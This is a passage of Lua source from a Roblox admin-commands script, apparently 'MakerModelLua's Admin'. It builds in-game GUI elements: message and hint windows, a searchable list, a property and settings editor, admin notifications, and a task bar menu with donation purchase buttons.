4059 local TextColor = GUI:GetColor(MessageSplit[1])
4060 if TextColor then BodyText = MessageSplit[2] end
4061 BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
4062
4063 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
4064 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
4065
4066 if Frame then
4067 local FormBar = Frame.Parent.Parent.FormBar
4068 local Said = false
4069 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
4070 if Settings.EnableTaskBar then
4071 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
4072 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
4073 else
4074 Speak.Position = UDim2.new(1, -58, 0, 5)
4075 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
4076 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
4077 end
4078 CORE:HandleEvent(Speak, "MouseButton1Down", function()
4079 if not Said then
4080 Said = true
4081 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
4082 end
4083 end)
4084
4085 if TextColor then
4086 Body.TextColor3 = TextColor
4087 else
4088 Body.TextColor3 = Color3.new(1,1,1)
4089 end
4090
4091 if tonumber(Time) then coroutine.wrap(function()
4092 if AutoTime then
4093 Time = Time + math.floor(#BodyText/7)
4094 end
4095 local Alive = true
4096
4097 local function StopTimer() Alive = false end
4098 Closed.Event:connect(StopTimer)
4099 Minimized.Event:connect(StopTimer)
4100
4101 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4102 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4103 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4104 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
4105 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
4106 for i = Time,0,-1 do
4107 for ii = 1,10 do
4108 if Alive == true then
4109 Ticker.Text = i
4110 wait(0.1)
4111 else
4112 break
4113 end
4114 end
4115 end
4116 if Alive == true then
4117 Close:Invoke()
4118 else
4119 Ticker:Destroy()
4120 Stop:Destroy()
4121 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
4122 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
4123 end
4124 end)() end
4125
4126 CORE:ExecuteResource("CalculateScrollY", Body)
4127 end
4128end
4129
4130function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
4131 if not Player then return nil end
4132 if not Player:IsA("Player") then return nil end
4133 if BodyText == "" then return nil end
4134 if not Player:FindFirstChild("PlayerGui") then return nil end
4135 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
4136 local TextColor = GUI:ContrastColor()
4137 if Error then TextColor = Color3.new(1,0,0) end
4138
4139 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
4140 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
4141
4142 CORE:ExecuteResource("CalculateScrollY", Body)
4143
4144 return Frame, Close, Closed, Minimize, Minimized
4145end
4146
4147function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
4148 Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
4149 local TweenTime = 0.5
4150 if not Time then Time = 5 end
4151 local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
4152 local MaxPos = -1
4153 for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
4154 local IVal = SGObj:FindFirstChild("Index")
4155 if IVal then
4156 MaxPos = math.max(MaxPos, IVal.Value)
4157 end
4158 end
4159 MaxPos = MaxPos + 1
4160 local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
4161 local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
4162 local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
4163 local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
4164 local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
4165 SG.Parent = Player.PlayerGui
4166
4167 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
4168 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
4169
4170 LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
4171 RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
4172 Delay(TweenTime, function()
4173 for i = 1,0,-0.1 do
4174 Body.TextTransparency = i
4175 wait()
4176 end
4177 Body.TextTransparency = 0
4178 end)
4179 Delay(TweenTime + Time, function()
4180 for i = 0,1,0.1 do
4181 Body.TextTransparency = i
4182 wait()
4183 end
4184 Body.TextTransparency = 1
4185 local Done = false
4186 LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
4187 RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
4188 end)
4189
4190end)() end
4191
4192function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
4193 if not Player then return nil end
4194 if not Player:FindFirstChild("PlayerGui") then return nil end
4195 if not PreSearch then PreSearch = "" end
4196 if AutoNumber == nil then AutoNumber = true end
4197
4198 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
4199 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
4200 SearchBar.Parent = Frame.Parent
4201 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4202 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4203
4204 local SearchVer = 0,nil
4205 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
4206 local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
4207 local InDialog = false
4208
4209 local function ShowResults(Key)
4210 SearchVer = SearchVer + 1
4211 local ThisSearchVer = SearchVer
4212
4213 if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
4214 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
4215
4216 local NumPos,Num = 0,1
4217
4218 for _,Data in pairs(List) do
4219 if ThisSearchVer ~= SearchVer then
4220 break
4221 end
4222 local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
4223 if String then
4224 local ImageIcon = nil
4225 if type(Data) == "table" then
4226 String = Data[1]
4227 ImageIcon = Data[2]
4228 end
4229
4230 local TextColor = GUI:ContrastColor()
4231 local StringSplit = STRING:GetSplit(String, 1, " ")
4232 local NewColor = GUI:GetColor(StringSplit[1])
4233 if NewColor then TextColor = NewColor String = StringSplit[2] end
4234
4235 if string.find(string.lower(String), string.lower(Key)) then
4236 Spacer = false
4237 local Font = Settings.Font
4238 local Split = STRING:GetSplit(String, 1, " ")
4239 if string.sub(string.lower(String),1,6) == "bold: " then
4240 Font = "ArialBold"
4241 String = string.sub(String,7)
4242 elseif Fonts[Split[1]] then
4243 Font = Split[1]
4244 String = Split[2]
4245 end
4246 if string.sub(String,1,2) == "--" then
4247 Spacer = true
4248 end
4249 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4250 if ImageIcon then
4251 if tonumber(ImageIcon) then
4252 ImageIcon = "rbxassetid://"..ImageIcon
4253 elseif Icons[ImageIcon] then
4254 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4255 end
4256
4257 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4258 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4259 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4260 Content.Text = ""
4261 NumPos = NumPos + 90
4262 else
4263 NumPos = NumPos + 30
4264 end
4265
4266 if not Clickable then
4267 Content.AutoButtonColor = false
4268 Content.Active = false
4269 Content.BackgroundTransparency = 1
4270 elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
4271 SOUND:BindButton(Content)
4272 CORE:HandleEvent(Content, "MouseButton1Down", function()
4273 if not InDialog then
4274 Clicked:Fire(String)
4275 end
4276 end, true)
4277 end
4278 if Spacer == false then Num = Num + 1 end
4279 end
4280 end
4281 end
4282 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4283 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4284 end
4285
4286 RequestDialog.OnInvoke = function(RequestDialogCall)
4287 InDialog = RequestDialogCall
4288 end
4289
4290 ShowResults(PreSearch)
4291
4292 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4293 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4294 if Prop == "Text" then
4295 local Text = CORE:ReadProperty(RPR, Player, "Text")
4296 ShowResults(Text)
4297 Frame.CanvasPosition = Vector2.new(0,0)
4298 end
4299 end)
4300
4301 return Clicked, RequestDialog, Close
4302end
4303
4304function GUI:PropertyGui(Player, Title, Icon, Properties)
4305 if not Player then return nil end
4306 if not Player:FindFirstChild("PlayerGui") then return nil end
4307 if type(Properties) ~= "table" then return nil end
4308 local HasClosed = false
4309 local NewProperties = {}
4310
4311 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4312 Frame.ClipsDescendants = true
4313 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4314
4315 for PropertyName,Data in pairs(Properties) do
4316 NewProperties[PropertyName] = Data[1]
4317 end
4318
4319 local YCount = 0
4320
4321 for PropertyName,Data in pairs(Properties) do
4322 if type(Data) == "table" then
4323 local DefaultValue = Data[1]
4324 local Writable = Data[2]
4325 local ValueType = Data[3]
4326
4327 if Writable == nil then Writable = false end
4328 if type(ValueType) == "string" then -- now this is confusing
4329 ValueType = string.lower(ValueType)
4330 elseif ValueType == nil then
4331 ValueType = type(DefaultValue)
4332 end
4333
4334 if ValueType == "nil" or ValueType == "userdata" then
4335 ValueType = nil
4336 elseif ValueType == "table" then
4337 DefaultValue = STRING:UnpackArgs(DefaultValue)
4338 ValueType = "string"
4339 end
4340
4341 if ValueType then
4342 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4343 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4344 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4345
4346 if ValueType == "string" or ValueType == "number" then
4347 if Writable == true then
4348 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4349 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4350 if ValueType == "number" then
4351 NewProperties[PropertyName] = tonumber(Input.Text)
4352 else
4353 NewProperties[PropertyName] = tostring(Input.Text)
4354 end
4355 end end)
4356 else
4357 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4358 end
4359 end
4360 if ValueType == "boolean" then
4361 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4362 if DefaultValue == true then
4363 Check.Image = "rbxassetid://48138491"
4364 end
4365 if Writable == true then
4366 CORE:HandleEvent(Check, "MouseButton1Down", function()
4367 local NewVal = not NewProperties[PropertyName]
4368 NewProperties[PropertyName] = NewVal
4369 if NewVal == true then
4370 Check.Image = "rbxassetid://48138491"
4371 else
4372 Check.Image = "rbxassetid://48138474"
4373 end
4374 end)
4375 else
4376 Check.ImageTransparency = 0.5
4377 end
4378 end
4379 YCount = YCount + 50
4380 end
4381 end
4382 end
4383
4384 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4385
4386 Closed.Event:connect(function() HasClosed = true end)
4387
4388 repeat wait(0.1) until HasClosed
4389 return NewProperties
4390end
4391
4392function GUI:SettingsGui(Player)
4393 if not Player then return nil end
4394 local CloneViewSettings,CanChange = {},false
4395
4396 local ViewSettings = {
4397 ["Version"] = {CORE.Version.Value, false, nil};
4398 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4399 ["Font"] = {Settings.Font, 3, "Font"};
4400 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4401 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4402 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4403 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4404 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4405 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4406 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4407 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4408 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4409 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4410 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4411 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4412 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4413 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4414 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4415 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4416 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4417 ["Bet"] = {Settings.Bet, 3, "Bet"};
4418 }
4419
4420 local _,RankNum = RANK:GetRank(Player)
4421 if RankNum >= 3 then
4422 CanChange = true
4423 end
4424
4425 for Prop,Data in pairs(ViewSettings) do
4426 local Writable = false
4427 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4428 CloneViewSettings[Prop] = {Data[1], Writable}
4429 end
4430
4431 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4432 if CanChange then
4433 for Prop,Data in pairs(ViewSettings) do
4434 if Data[3] then
4435 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4436 end
4437 end
4438 CORE:FixSettings()
4439 end
4440end
4441
4442function GUI:MessageAdmins(TitleText, BodyText, Icon)
4443 for _,Player in pairs(Server.Players:GetPlayers()) do
4444 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4445 if PlayerAdmin then
4446 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4447 end
4448 end
4449end
4450
4451function GUI:TellAdmin(Player)
4452 if not Player then return end
4453
4454 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4455 if ValidAdmin == true then
4456 GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4457 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4458 local SoundID = 237866523
4459 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4460 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4461 Sound:Play()
4462 coroutine.wrap(function()
4463 wait(4)
4464 Sound:Stop()
4465 Sound:Destroy()
4466 end)()
4467 end
4468 end
4469end
4470
4471function GUI:TellNotAdmin(Player)
4472 if not Player then return end
4473
4474 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4475end
4476
4477function GUI:CreateTaskBar(Player)
4478 if not Player then return nil end
4479 if Settings.EnableTaskBar == false then return nil end
4480 Player:WaitForChild("PlayerGui")
4481 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4482 if SG then SG:Destroy() end
4483 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4484 local IsMoving = false
4485 local TaskBarShown = false
4486 local Tasks = {}
4487
4488 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4489 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4490
4491 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4492 local Open,CloseForm = false,nil
4493 if Settings.EnableAdminMenu then
4494 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4495 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4496 if Open == false then
4497 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4498 Open,CloseForm = true,Close
4499
4500 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4501 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4502 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4503 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4504 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4505 local function DonateMoney(Type, Element)
4506 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4507 local Get = Request[Type]
4508 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4509 Server.MPS:PromptPurchase(Player, Get[1], true)
4510 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4511 Server.MPS:PromptPurchase(Player, Get[2], true)
4512 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4513 Server.MPS:PromptPurchase(Player, Get[3], true)
4514 else
4515 Element.Text = "Cannot get request"
4516 end
4517 end
4518 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4519 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4520 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
4521 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4522 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4523 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4524
4525 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4526
4527 if Closed then
4528 Closed.Event:connect(function()
4529 Open = false
4530 end)
4531 end
4532 else
4533 CloseForm:Invoke()
4534 end
4535 end) end)()
4536 if RANK:GetRank(Player) == "Owner" then
4537 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4538 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4539 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4540 if HUDSG then
4541 HUDSG:Destroy()
4542 else
4543 GUI:CreateHUD(Player)
4544 end
4545 end)
4546 end
4547 end
4548
4549 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4550 if IsMoving == false then
4551 if TaskBarShown == true then
4552 TaskBarShown = false
4553 IsMoving = true
4554 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4555 else
4556 TaskBarShown = true
4557 IsMoving = true
4558 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4559 end
4560 end
4561 end)
4562
4563 local function ReloadIcons()
4564 for Num,Data in pairs(Tasks) do
4565 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4566 end
4567 end
4568
4569 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4570 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4571 table.insert(Tasks, {Form, Icon})
4572 local CanClick = true
4573 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4574 if Form.IsActive.Value == false then
4575 Restore:Invoke()
4576 elseif CanClick == true then
4577 coroutine.wrap(function()
4578 CanClick = false
4579 local DefPos = Form.Dragger.Position
4580 for i = 1,15 do
4581 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4582 wait(0.05)
4583 end
